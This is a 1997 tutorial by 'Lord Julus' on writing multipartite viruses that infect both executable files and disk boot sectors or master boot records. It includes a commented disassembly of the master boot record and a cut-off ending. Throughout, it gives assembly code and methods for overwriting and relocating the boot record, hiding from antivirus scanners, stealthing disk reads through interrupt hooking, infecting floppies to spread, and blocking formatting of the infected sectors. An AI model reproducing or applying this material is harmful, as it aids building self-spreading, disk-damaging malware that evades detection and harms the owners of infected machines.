A guide to multipartite
infectors
1.5
by Lord Julus - 1997
FEATURING A FULLY COMMENTED DISASSEMBLY OF THE MASTER BOOT RECORD
D I S C L A I M E R The following document is a study. It's only purpose is to be used in the virus research only. The author of this article is not responsible for any misuse of the things written in this document. Most of the things published here are already public and they represent what the author gathered across the years. The author is not responsible for the use of any of these information in any kind of virus. Lord Julus.
.------------.
| Foreword |
'------------'
First of all, let's start with a little definition.
So, what is a multipartite virus ? Let's give a brief description:
A Multipartite virus is a COM/EXE/BS/MBR infector. Well, for those of you
who know something about this, the definition should be good enough. For
those of you new in the business it means a virus capable to infect files
and also the Boot Sector (or Master Boot) on a Hard Drive and a Floppy Disk.
Did you ever wondered why your usual COM/EXE viruses don't spread ?
Well, take a minute to think of it. How many times did you take an executable
file from a friend ? I guess not very often. Now with all the games available
on CD's, and all the utilities found on the WEB you don't have to use your
floppies to 'borrow' executable files from friends. That's why the viruses
don't spread. Here I come with the advantages of the Multipartite viruses
(hereinafter called 'Multies'):
- Fast spreading: a simple disk inserted into an infected computer
will carry the virus to another computer.
- File corrupting with no damage (as in usual viruses), giving you
the possibility to upload your viruses onto FTP's or any other
kind of WEB sites.
- Many difficulties involving the removal of the virus (see forward)
So, you have to agree with me: a virus present into the boot of a
computer, as well as into the files that live on it tend to render toward
the perfect virus. Of course, as you will see along, there are many ways,
with lots of advantages and disadvantages to do it. So, I'd say I should
move on and start with the tutorial.
This version of the tutorial is more boot sector related, but in
further versions I will include a complete EXE/COM/SYS/BIN tutorial.
.-----------------.
| Basic notions |
'-----------------'
Maybe there is a lot of stuff on this written already, but I want to
take my share, so I will try to present in an easy way everything involving
Multies' creation.
1) Generalities
~~~~~~~~~~~~~~~
The data on the Hard Disk or floppy disk is stored using a particular
format. This format is called the 'physical sector'.
A physical sector is formed by a tripled:
Cylinder, Head, Sector (CHS)
A 'Track' is a circle described by a 'Head' on a Hard Disk's 'Side'.
A 'Cylinder' represents all the tracks with the same radius on the
Hard Disk (which are in the same time found under one Head). Usually the
Hard Disks have 32 to 1024 cylinders (or tracks on side). The track number
is a specific hard determined number and cannot be modified (it's actually
determined by the Hard Disk motor characteristics).
A 'Sector': The tracks are divided into circular arcs called sectors.
The number of sectors on a Hard Disk is random and is determined when the
HDD is formatted and it's determined by different things, especially by the
coding scheme, usual values being:
- 17 sectors per track (MFM coding)
- 26 sectors per track (2,7 RLL coding)
- 34 sectors per track (3,9 RLL coding)
- 63 sectors per track (used widely in the present days)
The amount of data storable on a sector is also different, but usually
it's 512 bytes per sector.
Usually, the maximum numbers for these are:
- MaxCYL = 1024
- MaxHEAD = 16
- MaxSec/track = 63
The Cylinders are counted from 0 to MaxCYL-1, Heads are numbered from
0 to MaxHead-1, and Sectors are counted from 1 to MaxSect/track.
So, as I said, a 'Physical Sector' is made by a (C,H,S) triplet.
The first physical sector is at (0,0,1). In order to get the next
physical sector one must increase the sector first until (0,0,MaxSect).
After that the Head number increments and the Sector restarts from 1 and
this goes on until (0,MaxHead,Maxsect). Finally, the Cylinder is incremented
and the other two reset to 0 and 1 and this goes on until
(MaxCyl, MaxHead, MaxSect).
The number of a physical sector is calculated as follows:
Sector number = (CYL*HEAD*SECT) + (HEAD*SECT) + (SECT-1)
For example the triplet (3, 23, 7) gives the Physical Sector 650.
2) Useful tools
~~~~~~~~~~~~~~~
In order to proceed in writing a Multi, you must set up your working
place and take a few tools around. What one should do is this:
- Get a clear empty floppy disk
- Do a Sys c: a:
- Copy FDISK.EXE and SYS.COM on it.
- Copy the following files from a TBAV package: TBUTIL.EXE, TBUTIL.LNG
- Run TBUTIL with the 'st' parameter and save the CMOS, BOOT and
Partition Table on the disk.
- Put the DISKEDIT utility (from the Symantec's Norton Utilities
package) on the disk too.
Now, you're armed. Protect the disk and nothing can happen to your
computer ! If you screw up, by writing some trash on the HDD, just reboot
with the disk and run TBUTIL with the parameter 're' to restore your data.
Diskedit is very useful, especially when you want to verify whether your
program did write something on the HDD or not. But, however be sure to do
not write over the Root Directory Entry because you could loose data. Even
if you do that the Norton Disk Doctor might fix the problem.
2) Important areas on the HDD
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The important areas to know when starting a Boot related infector are
the following:
2.a. The Master Boot Record
2.b. The Boot Record
2.c. The first copy of FAT
2.d. The second copy of FAT
2.e. The entry in the Root Directory
As you will see forward, it's very important to know all these, because
each and everyone offers suitable places to store data on the HDD.
2.a) The Master Boot Record
"""""""""""""""""""""""""""
At the Physical Sector 0 (i.e. the triplet (0,0,1)) on the HDD we find
the Master Boot Record (MBR). Let's take a peek first at the MBR layout and
then explain the stuff:
Master Boot Record Layout:
.--------------.--------.------------------------------------------------.
| Offset | Length | Meaning |
.--------------.--------.------------------------------------------------.
| 00h - 1BEh | 1BEh | Code to load and execute the Boot Record for |
| | | the active partition |
| 1BEh - 1CDh | 10h | Entry for Partition #1 |
| 1CEh - 1DDh | 10h | Entry for Partition #2 |
| 1DEh - 1EDh | 10h | Entry for Partition #3 |
| 1EEh - 1FDh | 10h | Entry for Partition #4 |
| 1FEh - 1FFh | 02h | Partition Table Signature ('0AA55h') |
'--------------'--------'------------------------------------------------'
Partition Table Entry Layout
.---------.--------.------------------------------------------------.
| Offset | Length | Meaning |
.---------.--------.------------------------------------------------.
| 00h | 01h | If it's 80h than this is the active partition |
| 01h | 03h | Partition address (head, sector, cylinder) |
| 04h | 01h | System type (DOS 12bit/16bit/32bit FAT) |
| 05h | 03h | Partition end address (head, sector, cylinder)|
| 08h | 04h | Physical sector for partition beginning |
| 0Ch | 04h | Partition length in sectors |
'---------'--------'------------------------------------------------'
So, as you can see, the length of the MBR is 512 bytes, which means
that it takes exactly one sector. Also, notice the signature at the end.
That sign there marks that this is a valid partition. Try it out. Change
it and the system will say 'Invalid Partition Table'.
When the computer boots, the first thing that is done by the system
is to load the MBR at address 0000:7C00 and it runs the code. Let's take
a quick look at the code that the system executes upon boot (you can look
at it yourself by using Diskedit: Look at Physical Sector 0, and choose
only 1 sector too see and then save it using the 'Write to file...' tool
to a file named MBR.COM and then use Turbo Debugger on the file to see what
you've got). So, the code I disassembled and commented goes like this:
(Mention: the operating system I was using at the time was Windows 95 OSR2)
-----------MBR code disassembled by Lord Julus-----------
start:
xor ax,ax ; Zero register ax
mov ss,ax ; Stack Segment = 0000h
mov sp,7C00h ; Stack Pointer = 7C00h
sti ; Enable interrupts
push ax ; Now make DS = ES = 0
pop es
push ax
pop ds
cld ; Clear direction
mov si,7C1Bh ; And start to copy code from offset 1Bh
mov di,061Bh ; to 0000:061Bh
push ax ; put 0 on the stack
push di ; and put 061Bh on the stack
mov cx,1E5h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
retf ; Return far (actually jump to 0000:061Bh)
; Here is where the code goes on. This is the 1Bh offset. In this way the
; area at 0000:7C00h is free and ready to receive the Boot Record
mov si, 07BEh ; The system is about to find the
mov cl, 4 ; active partition table
; 0 means not active
; 80h means active (only one can be active)
; The offset of the first partition table
; is at 01BEh. SI is aligned to the new
; offset: 061Bh + 01BEh + 001Bh = 07BEh
locloop_1: ; CH = 0 here
cmp [si],ch ; and we take the first byte in the table
jl maybe_active_part ; Jump if < ch (actually means [SI] could be
; 80h)
jnz Error_1 ; -> Error !
add si,10h ; go to the next partition entry (+10h)
loop locloop_1 ; Loop if cx > 0
int 18h ; go to ROM basic (never actually)
maybe_active_part:
mov dx,[si] ; DX = active partition number
mov bp,si ; BP = entry for the active partition
look: ; Since we must have only one active part.
add si,10h ; here we check to see if there are 2
dec cx ; marked as active
jz all_good ; Jump if CX = 0 -> partitions done !
cmp [si],ch ; [SI] = 0 ?
je look ; Jump if equal
; If not equal, there is another partition
; marked with something else but 0
Error_1:
mov si,710h ; This points to 'Invalid partition table'
; actually to the second character and
; it's aligned at the next instruction
hang: ; When the error message is fully displayed
dec si ; the program goes into an infinite loop here
; AL = 0; Lodsb increases SI and here SI
; is decreased again -> Infinite loop !
display_error: ; This is the Error Display structure
lodsb ; String [si] to al
cmp al,0 ; 0 marks the end of string
je hang ; Jump if equal
mov bx,7 ; color: white
mov ah,0Eh ; Video display function 0Eh
int 10h ; write char from al, move cursor
loc_7:
jmp short display_error ; and write another character !
all_good: ; Here we know that we found an active
; partition table
; Look at the Partition Table Layout to get this right
mov [bp+25h],ax ; Ax is still 0
xchg si,ax ; SI = 0
mov al,[bp+4] ; Load the system type into Al
; Here come some strange checks which find out the system type
mov ah,6
cmp al,0Eh
je loc_10 ; First system type
mov ah,0Bh
cmp al,0Ch
je loc_9 ; Second system type
cmp al,ah
jne loc_12 ; Third system type
inc ax
loc_9:
mov byte ptr [bp+25h],6 ;
jnz loc_12 ; Jump if not zero
loc_10:
mov bx,55AAh ; About to check the installation of
; IBM/MS extensions
; The next is an undocumented INT 13 which returns:
; CF set if error
; CF clear if ok, plus:
; BX=0AA55h
; AH = major version of extensions
; (01h = 1.x, 20h = 2.0/EDD-1.0, 21h = 2.1/EDD-1.1)
; AL = internal use
; CX = API subset support bitmap
; DH = extension version (v2.0+ ??? -- not present in 1.x)
;
; Bitfields for IBM/MS INT 13 Extensions API support bitmap:
; Bit Description (Table 0196)
; 0 extended disk access functions (AH=42h-44h,47h,48h) supported
; 1 removable drive controller functions (AH=45h,46h,48h,49h,INT 15/AH=52h)
; supported
; 2 enhanced disk drive (EDD) functions (AH=48h,AH=4Eh) supported
; extended drive parameter table is valid
; 3-15 reserved (0)
push ax ; save ax
mov ah,41h
int 13h ; Undocumented installation check
pop ax ; and restore ax
jc loc_11 ; Jump if error -> extensions not supported
cmp bx,0AA55h ; now compare
jne loc_11 ; Jump if not equal -> not installed
test cl,1 ; check if extended disk access functions
jz loc_11 ; are supported
mov ah,al ; if we are here then the extensions are on
mov [bp+24h],dl ; DL holds the drive number !
mov word ptr ds:61Ah,1EEBh ; mark this here... ??
loc_11:
mov [bp+4],ah ; rewrite the system type
loc_12:
mov di,0Ah ; di = 0Ah
; Now the system begins to load the Boot Record at 0000:SP (7C00h)
loc_13:
mov ax,201h ; prepare to read from drive
mov bx,sp ; at ES:SP
xor cx,cx ; Zero register
cmp di,5 ; di > 5 ?
jg loc_14 ; Jump if >
mov cx,[bp+25h] ; otherwise, set in cx the cylinder and sector
loc_14:
add cx,[bp+2] ; and increase the sector
int 13h ; Now read 1 sector to ES:BX
; al=1, ch=cyl, cl=sector, dh=head (0)
loc_15:
jc loc_17 ; Jump if carry Set -> some error
mov si,746h ; this points to 'Missing operating system'
cmp word ptr ds:7DFEh,0AA55h; check if the Partition Signature is there
je loc_21 ; Jump if equal -> OK
; the BOOT RECORD is loaded ! Jump to it
sub di,5 ; otherwise decrease DI
jg loc_13 ; and try again. I guess all this stuff is
; trying to find the right sector.
loc_16:
test si,si ;
jnz display_error ; Jump if not zero to error procedure
mov si,727h ; This points to
; 'Error loading operating system'
jmp short loc_7 ; go to error procedure
cbw ; convert byte to word
xchg cx,ax ; exchange these
push dx ; save DX
cwd ; convert word to doubleword
add ax,[bp+8] ; Now add this double word that holds the
adc dx,[bp+0Ah] ; number of the physical sector for the
; Partition table start
; And we have it into DX:AX
call sub_1 ; Go on
pop dx ; restore DX
jmp short loc_15 ; If we are here then definitely there was
; an error
loc_17: ; Here we come if there was a read error.
dec di ; decrement number of retries
jz loc_16 ; Jump if zero to errors
xor ax,ax ; Now reset the disk
int 13h ; reset disk, al=return status
jmp short loc_13 ; and try again
add [bx+si],al ; this must be some crap...
add byte ptr [di+56h],15h ; useless I mean.
sub_1:
push si ; save SI and
xor si,si ; Zero register
push si ; save SI
push si ; again twice
push dx ; and all the rest
push ax
push es
push bx
push cx
mov si,10h ; SI = 10h = 16
push si ; save it
mov si,sp ; SI = Stack Pointer
push ax ; Push the Dword at DX:AX
push dx
; the stack looks like this: SI,0,0,DX,AX,ES,BX,CX,10h,AX,DX
; Another Extended undocumented function
; IBM/MS INT 13 Extensions - EXTENDED READ
; AH = 42h
; DL = drive number
; DS:SI -> disk address packet
;
;Format of disk address packet:
;Offset Size Description
; 00h BYTE 10h (size of packet)
; 01h BYTE reserved (0)
; 02h WORD number of blocks to transfer
; 04h DWORD -> transfer buffer
; 08h QWORD starting absolute block number
; (for non-LBA devices, compute as
; (Cylinder*NumHeads + SelectedHead) * SectorPerTrack +
; SelectedSector - 1
mov ax,4200h ; Extended read function
mov dl,[bp+24h] ; DL = Drive number
int 13h ;
pop dx ; Restore this
pop ax
lea sp,[si+10h] ; Load effective addr
jc loc_20 ; Jump if carry Set -> error
locloop_18:
inc ax ; Increment the DWORD at DX:AX
jnz loc_19 ; Jump if not zero
inc dx
loc_19:
add bh,2 ; and add a 2 to bh each time
loop locloop_18 ; Loop until CX = 0
clc ; Clear carry flag
loc_20:
pop si ; This doesn't make much sense. From my calc
; the stack looks like this: SI,0,0,DX,AX,ES,BX,CX
retn ; this jumps to the old CX ??
loc_21: ; this contains the error table
jmp short loc_22 ; and a jump over it
db 'Invalid partition table', 0
db 'Error loading operating system', 0
db 'Missing operating system'
db 37 dup (0)
loc_22: ; When we reached here it means
; that everything went OK. Now the
; Boot Record is loaded and the
; MBR is about to run it
mov di,sp ; DI = stack pointer
push ds ; put DS:DI on stack
push di
mov si,bp
retf ; Return far (actually jmp DS:DI)
; which is a jump to the Boot Record
db 52 dup (0) ; empty space
; Here starts the Partition Table
db 80h ; Active partition marker
db 01h ; Partition: Start Head
db 01h ; Sector
db 00h ; Cylinder
db 06h ; System Type
db 0Fh ; Partition: End Head
db 0FFh ; Sector
db 38h ; Cylinder
db 3Fh, 00h, 00h, 00h ; Number of Physical Sector
db 31h, 0B0h, 0Ch, 0 ; Length of Partition in sectors
db 48 dup (0) ; the other partitions don't exist
;Total 40h bytes in the Partition Table
db 55h,0AAh ; and the sign
----------MBR source over-----------
As you could see, all the code above does this:
- Checks if there is a correct partition table (only one partition
is active and the 0AA55h sign is there).
- Locates the sector where the Boot Record for that partition is
- Loads that Boot Record
- Jumps to the Boot Record.
If there is no correct partition table the 'Invalid partition table'
error appears. If the system can't read (for various reasons) from the
disk, the 'Error loading operating system' error pops up. Finally, if the
Boot Record is not found then the 'Missing operating system' error is
displayed.
This is already a lesson about what you can really do in the MBR. As
you saw, interrupts can be called when in boot. But only the interrupts
between 0 and 1Fh are available (you noticed that the errors are displayed
using the graphic interrupt 10h). In fact, during this phase, the interrupts
can be hooked, memory can be allocated, there can be reads and writes to
disk, and so on. But we'll discuss this later.
2.b) The Boot Record
""""""""""""""""""""
The Boot Sector is the one loaded by the MBR into memory and the one
to receive the command. After the MBR checks if everything is ok, this
is where it jumps:
Boot Sector Layout
.-----------.----.-------------------------------------------.
| Offset |Len | Meaning |
.-----------.----.-------------------------------------------.
| 00h - 02h | 03 | A JMP instruction to the loading sequence |
| 03h - 0Ah | 08 | The name and version of the OS |
| 0Bh - 0Ch | 02 | Sector size in bytes | --.
| 0Dh | 01 | Cluster size in bytes | |
| 0Eh - 0Fh | 02 | Reserved sectors until the first FAT copy | |
| 10h | 01 | Number of FAT copies | .-- BPB
| 11h - 12h | 02 | Number of directory entries in the ROOT | |
| 13h - 14h | 02 | Total sectors on disk (or partition) | |
| 15h | 01 | Disk type | |
| 16h - 17h | 02 | FAT size in sectors | --'
| 18h - 19h | 02 | Sectors on cylinder (track) | --.
| 1Ah - 1Bh | 02 | Number of heads (sides) | .-- Ext.BPB
| 1Ch - 1Fh | 04 | Hidden sectors | --'
'-----------'----'-------------------------------------------'
What are we interested in are the BPB and the Extended BPB with useful
information.
The meaning of BPB is 'BIOS Parameter Block'.
The jump to the loading sequence is a jump that goes directly to load
the operating system.
2.c) Other
""""""""""
Usually on the HDD there coexist 2 copies of the FAT (File allocation
table). They have a specific length that can be found in the BPB (sectors
per FAT) and the second important value to know is sector per cluster
(or allocation unit). The two copies of the FAT are one after the other.
The second copy of the FAT is only to prevent the loss of data. Somebody
could write the data here and then stealth by redirecting the reads from
the second FAT copy to the first FAT copy (remember that NDD tells the
user if the FAT copies are not the same). The bad thing about this is
the hard way of finding the place of the second copy and reading it only
using the INT 13. After the FAT, the next thing on disk is the Directory
Entry into the Root. You also have data about this in the BPB. A good place
to hide something here is at the end of the Root Entry (e.g. at end of
root entry - virus size). I will speak a little later about this stuff.
.-----------------.
| Going deeper |
'-----------------'
Now that we know all the basic stuff, here is the first question that
pops in mind when writing a boot or multi virus: Where do I store my code ?
Here are the places I can think of:
1. In the MBR itself
2. In the Boot itself
3. In the root directory entry
4. In the second FAT copy
1. Infecting the MBR
~~~~~~~~~~~~~~~~~~~~
Up above you have an almost complete description of the code into the
MBR. So, the MBR is located at Physical Sector (0,0,1). The Boot Record can
be found at (0,1,1), but this is true only if the first partition is active.
If there are more than 1 partitions and another one is active, you should
check and see the address of the Boot Record for that partition. Anyway,
between (0,0,1) and (0,1,1) we have 62 free sectors. That would make an
amount of 62 * 512 = 31744 bytes, more than anyone could desire for his
virus.
The infection of the MBR can be done in 2 ways:
a) Save the original MBR in the free zone and put the viral code
in it's place then read it from the free zone
b) Alter the original MBR making it to load the virus instead of
the Boot Record and make the virus itself to load the Boot
The first method requires from you to put in the 510-th byte of the
virus the sequence '0AA55h' in order to mark this as a valid partition table.
Second of all, the system can no longer be booted from a floppy disk. If
you boot using method a) from a floppy disk and try to change the drive to
C, you will get 'Invalid drive specification'. This problem can be solved
easily: simply start your virus like this:
start:
jmp over_partition
db 18h dup (0) ; 1bh - 3 bytes (the jmp opcode)
part_table:
db 1E5h dup (0) ; the rest until 200h
over_partition:
... ; the rest of virus
When the virus is about to write itself over the original MBR all
it has to do is copy all the stuff from 1BEh until 200h at the part_table
address. In this way we have the partition table in its place and the drive
C is accessible also if booted from floppy disk. I would say that this
approach is one of the best. The virus is not obvious (because the drive C
works), but it's easier to remove (also because drive C is accessible). Here
you must combine the Int 13h with special anti-tunneling routines, otherwise
an AV product may trace the Int 13h and go around your stealth routines.
Actually this code is not quite ok... That's because when the system
boots it only loads exactly 1 sector (e.g. 200h bytes). This means that
the JMP over_partition will jump after the 200h bytes, e.g. somewhere into
the void ! In order to really fix this we should do something like this:
jmp realstart
;(variables here)
realstart:
;(go resident part here) -> ES = new segment for virus
mov ah, 02h ; load the entire virus from MBR/BS
mov al, sector_len ; to the new segment (ES) at offset
mov dh, 0 ; 0, as the system only loads one
mov cx, 1 ; sector and the virus occupies more
mov bx, 0
int 13h
over_this:
push es
lea ax, go_in_new_segment ; start over in the ES segment
push ax ; to free up the 007ch area
retf
old_partition_table db 200h dup (0) ; this area is needed to preserve the
; partition table
Go_in_new_segment:
Of course, in this way, the beginning of your virus will look like
this:
.----------------------.
(1) | Virus loader | --> this should be smaller then 1BEh bytes
.----------------------.
(2) | 200h bytes reserved | --> the reserved area for partition table
.----------------------.
(3) | Rest of virus | --> and the rest of the code goes here
: :
: :
'----------------------'
After the loading of the virus into the new segment and the jump to
the new segment we find ourselves in the (3) zone. Here we make a read of
the original MBR from where we save it and we put it entirely into the (2)
zone. But, in order to have the correct partition table, we must shift
up the (2) zone with an amount that equals the length of the (1) zone.
The process can be described very well like this:
.---------------------.
| Virus loader |
| | .-----------------------.-.
'---------------------' | Original MBR |-' Area that gets lost
| | 55AA| but we don't care
| '-----------------------'
In this easy way, the partition table is 'aligned' so the first 200h
bytes end with a valid partition table. More, some parts of the original
MBR still stay on (depends on how much you can optimize the virus loader)
and many AV will confuse it with a valid MBR. Personally I tried with
the above method on TBAV and it didn't flag anything. Of course, you need to
use some strange approaches in order to hide your code.
2. Infecting the Boot
~~~~~~~~~~~~~~~~~~~~~
This is seems easier then the MBR infection because there are no checks
done by the system. But, again, you must determine correctly the address of
the boot record. Otherwise the system will hang.
What you need to do is to save the original Boot in a free area and
then paste your viral code over the boot. The MBR will load your virus when
the computer boots and will give it the control. After the virus is over
with it's job it should load the original boot from the free zone and jump
to it.
3. The real way to do it
~~~~~~~~~~~~~~~~~~~~~~~~
Now let's get closer and analyze a little what your virus should
exactly do when it starts. First, let's do not forget that we are talking
about Multipartite Viruses here. This means that our virus should be able
to 'live' in the Boot areas and in the files as well. The usual way to check
if you are in boot or in a file is to check the word at PSP:0000 like this:
cmp word ptr es:[0], 20CDh ; this is the marker for a
je in_file ; valid PSP
in_boot:
... (boot sequence)
in_file:
... (file sequence)
First let's take a look at the 'in boot' part.
Let's assume this is a MBR replacer virus. This means that it saves
the original MBR somewhere else and now it stays at Physical Sector 0. The
system loads it and it is given command. The first thing usually done is
the set up of the stack. Now, this is not really necessary, but it's done
anyway:
cli
xor ax, ax
mov ss, ax
mov sp, 7C00h
sti
As you can see, the MBR does this itself. It's not really necessary,
but we need it in order to make some comparitions later. Like, for example
if you choose not to use many flags, later you can compare SP with 7c00h and
if it's equal, then you are in boot.
The next thing to do here is to reserve some memory for the virus.
We assume that the Para_vir_len variable was set, like this:
Para_vir_len = (finish - start)/8 ; virus length in paragraphs.
; We divide by 8 instead of 16
; because we need double space
; in memory !
xor ax, ax ; reserve memory for virus
mov ds, ax ; by substracting
mov ax, Para_vir_len
sub word ptr ds:[413h], ax ; the virus length
int 12h ; get memory in paragraphs
shl ax, 6 ; make it in bytes
mov es, ax ; ES = new segment
mov cx, finish-start ; length of virus
push cs ; set the source
pop ds
mov si, 7c00h
mov di, 0
rep movsb ; ds:si > es:di
This works if your virus is only one sector length. If it's more
than one sector, simply reserve memory and then read the virus to ES:0.
This particular part is very important. Almost any MBR scanner will
notice the decreasing of the word at 0000:0413 (which is the BIOS address
where the total available memory is hold), and will pop up a warning. I
figured out a nice way to do this:
- set BX = a random number
- get another number that equals 0413h - BX (wrapped around
0, of course), let's call it L.
- make this code:
int 12h ; ax holds memory in paragraphs
sub ax, 1
xchg ax, word ptr ds:[BX + L]
I hear cries for an example:
mov bx, 0F0F5h
int 12h
sub ax, 1
xchg ax, word ptr ds:[BX + 131Eh]
Notice that 0F0F5h + 131Eh = FFFF0413h (as a doubleword) but as a
word it's exactly 0413h !
Now the copy of our virus is in memory at ES:0. There is no need to
stay in the 0000:7C00 area because anyway we must start loading the real
MBR there. Therefore we'll do this:
push es ; put the new segment on stack
lea ax, new_segment ; and the IP where to jump
push ax
retf ; and simulate a return far
new_segment:
...
and we go on with the code but into the new segment we've got. Before
starting to load the real MBR we must first hook the interrupts we need and
especially the disk interrupt INT 13h. So:
mov ax, word ptr ds:[13h*4] ; save INT 13's vector
mov word ptr cs:[oldint13], ax
mov ax, word ptr ds:[13h*4+2]
mov word ptr cs:[oldint13+2], ax
lea ax, newint13 ; and set new INT 13h
mov word ptr ds:[13h*4], ax
mov ax, es
mov word ptr ds:[13h*4+2], ax
We'll talk later about the newint13 handler.
Now we can already start to load the MBR from the free zone. This is
done simply by using the 02h function. And we read the original MBR at the
end of our code in memory:
mov ah, 02h ; read original MBR
mov al, 01h ; 1 sector
mov dl, 80h ; from HDD
mov dh, 00h ; head 0
mov cx, 01h ; cyl 0, sector 1
push cs
pop es
lea bx, finish ; at ES:BX
int 13h
Now, BX is at the end of virus. We add to it an offset where we have
a marker defined like this:
Marker db 'xx' ; where 'xx' can be any combination of chars
add bx, offset marker
cmp word ptr cs:[bx], 'xx'
je already_infected
Let's assume for now that yes, the HDD is infected. So, if the HDD is
already infected we do this:
Already_infected: ; this part is common to in_boot
cmp cs:[inboot], 1 ; and in_file modes so we check
jne exit_file ; and if it's file we exit the file
Load_old_boot: ; otherwise
mov ah, 0 ; first we reset the drive
mov dl, 80h
int 13h
mov ah, 02h ; and then we read
mov al, 01h ; one sector
mov dl, 80h ; from HDD
mov dh, 00h ; head 0
mov cx, 01h + sector_len ; cylinder 0, sector = 1+sector_len
push 0
pop es
mov bx, 7c00h ; at 0000:7C00
int 13h
db 0EAh ; and here we have JMP 0000:7C00
dw 7c00h ; i.e. jump to the original MBR
dw 0000h
I hope all is clear. The only thing to talk about would be the
sector_len variable. A complicated virus tends to go beyond 5K in these
days. This means that there's no way your virus will fit into 512 bytes,
e.g. on one sector. This means you'll have to write your virus on more
than one sector. But, how many ? Look at this:
sector_len = (finish - start + 1FFh) / 200h
If (finish - start) is <= 200h the result of the above formula is 1.
If (finish - start) is > 200h but <= 400h the above gives 2, and so
on. Example:
(188h + 1FFh) div 200h = 1 sector
(220h + 1FFh) div 200h = 2 sectors
(1000h + 1FFh) div 200h = 23 sectors
So, this gives you the length of your virus in sectors. Let's take
a look at the infected HDD (sl = sector_len):
.--------------------. ---. ---.
| C:0, H:0, S:1 | | .-- This is where the orig. MBR was once
.--------------------. | ---'
| C:0, H:0, S:2 | |
'--------------------' .------- And now this is where the virus is
...................... |
.--------------------. |
| C:0, H:0, S:sl | |
.--------------------. ---' ---.
| C:0, H:0, S:sl+1 | .-- Here is the where the MBR was moved
'--------------------' ---'
Now let's see what should happen if the HDD was clean in order to
infect it. First:
Save_old_boot:
mov ah, 03h ; write bytes
mov al, 01h ; 1 sector
mov dl, 80h ; on HDD
mov dh, 00h ; head 0
mov cx, 01h + sector_len ; cylinder 0, sector = 2+sector_len
lea bx, finish ; from the end ! (where we have
int 13h ; a copy of the MBR)
Write_new_boot_loader:
mov ah, 03h ; this part simply copies
mov al, sector_len ; sector_len sectors
mov dl, 80h
mov dh, 00h
mov cx, 01h ; at (0,0,1)
lea bx, start ; from the beginning of virus
int 13h
This is how the things work when you are in boot. Let's take a look
at the other part now: in_file. This is easier than you think:
In_file:
call go_resident
jmp over_now
Go_resident: ; here we have ANY kind of resident
... ; code which leaves in ES the
ret ; new viral segment.
; The Int 21 hooking should take place
; here too.
over_now:
push es ; and here we jump to the common
lea ax, new_segment ; part of the in_file and in_boot
push ax
retf
What we have more related on the file infection is: we have the INT 21
handler which is used to catch executable files (any kind and in anyway), and
the exit_file procedure which gives the control back to the host. Of course,
INT 13 must be also hooked when 'in file', because the MBR must be stealthed.
And, of course, we must use some kind of tunneling techniques against TSR
blockers.
As everybody knows, hooking INT 21h from a file is a piece of cake.
We cannot say the same thing when you are in the Boot. There you have NO
INT 21h, so you have nothing to hook ! You must wait for the system to load
completely and then act. This is done easy by using the INT 08, e.g. the
time interrupt. Hook this interrupt in boot and set a counter. After, let's
say 2 minutes start to hook the interrupts. The Int 08 is called every 55ms,
or 18.2 times per second. So for a delay of 1 second you must set a compare
value of 18 and decrease it until it's 0. To have a one minute delay, the
compare value should be 60*18.2 = 1092, and for 2 minutes 2184.
The Int 08 could look like this:
INT08:
pushf
call dword ptr cs:[oldint08]
cmp word ptr cs:[time], 0
je start_to_hook
dec word ptr cs:[time]
iret
time equ 2184
This solves the problem of hooking int 21h from the boot.
Now, let's take a look at the INT 13h, the heart of the boot infector.
Here we do all our stealthing. It should look like this:
NEWINT13:
cmp ah, 02h ; a read ?
je check_more
jmp no
check_more:
cmp dh, 0 ; head 0 ?
jne no
cmp cx, 1 ; cylinder 0, sector 1 ?
jne no
pushf
call dword ptr cs:[oldint13] ; then do the reading
call check_infect ; a call to a routine that should save
; all the register, check if the MBR
; at ES:BX is infected. If not, infect
; it.
mov cx, 01h + sector_len ; then redirect read or write
; to where the original MBR is
; and read it again !
no:
jmp dword ptr cs:[oldint13]
We should also check if someone is trying to write to the MBR and
redirect the write to the place where the original MBR is.
So, if someone is trying to read from the MBR or write on the original
MBR this procedure redirects the action to where the real MBR is saved. This
offers a lot of strength: As the partition table is no longer there, the
disk in invisible if booted from a floppy. But if it's booted from HDD,
the virus is resident and the reads and writes are stealthed.
There are two more functions one stealth routine should hook:
- 0Ah - read long sectors
- 0Bh - write long sectors
These work almost like 02h and 03h with this difference: 0Ah reads one
or more sectors plus 4 more bytes representing the ECC (error correction
code) code for that sector. Same for 0Bh.
Also, one must take care of the 05h function - format track, and do
not allow the formatting of the tracks where the virus and the original MBR
is. I didn't try this, but it should work. In this way, the virus stays on
even if the HDD is formatted.
3) Other ways
~~~~~~~~~~~~~
As I said above, it is possible to write whatever you want to save on
the HDD by putting the data in the second FAT or after the directory entry.
The first FAT can be found and accessed via INT 25h/26h, with DX=1 (usually)
and the second FAT can be found with DX = 1 + Sectors/FAT. After a number
of sectors equal to 1 + 2*Sectors/FAT we have the directory root entry.
However I would not recommend using these two areas. First because in order
to infect you need to use interrupts 25h and 26h, which are disabled in
Windows 95 and because of the data loss that may occur. Therefore, I would
say that the space after the MBR is the best place to put your data
.-----------------.
| More to it |
'-----------------'
One issue that everybody should be aware of is that MBR heuristic
analyzers are very good these days. This means that if you decide to make
a Partition Table non-remover, leaving the Drive C accessible when booted
from floppy disks, you should consider a good encryption algorithm with
some anti-heuristic routines. This is done as easy as it's done in files:
- copy virus to end of code
- encrypt it
- copy it to host (drive / file)
Another very important thing is to have the virus infect floppies.
Actually this is the most important thing because it assures the virus'
spreading. In order to infect a floppy disk the things go exactly like
when writing a MBR mover for HDD. On floppy disks there is no partition
table, therefore no MBR. The Boot Layout is the same. In order to save
the original boot one should do this:
- read the original boot into a buffer
- read the Number of Root Directory Entries
- Multiply it by 32
- Divide it by 512
Now you have the first free sector after the Root Directory Table.
There is a perfect place to save the original Boot on that sector. Knowing
that when INT 13 is called the DL register holds the drive (80h if HDD) you
can do some comparisons and make a separate procedure for infecting
different kind of floppies. If you want your virus to be faster, figure out
the sector you should write the boot to and consider that it's always the
same (for example I have a 18 sectors/track with 224 directory entries
floppy, with the directory entry area being at C:0, H:0, S:1. So
224*32/512 = 14. This means that from (0,1,14) I have a free area where I
can copy the original boot.
You can also choose other areas to put the original copy of the boot
on, like for example on the last cylinder, last head, last sector and then
mark that sector as BAD.
One thing about floppy disks: Beware to save the original 20h bytes
and leave them intact on the floppy. There we have the Boot Record. If you
put trash there, the disk won't be readable. You can even destroy the disk
forever if you put a 0 in the Sectors/Track. If you do this and try to
access the floppy there is no program on Earth that will be able to read
your diskette. You'll get a 'Divide Overflow' or 'Division by 0' and you
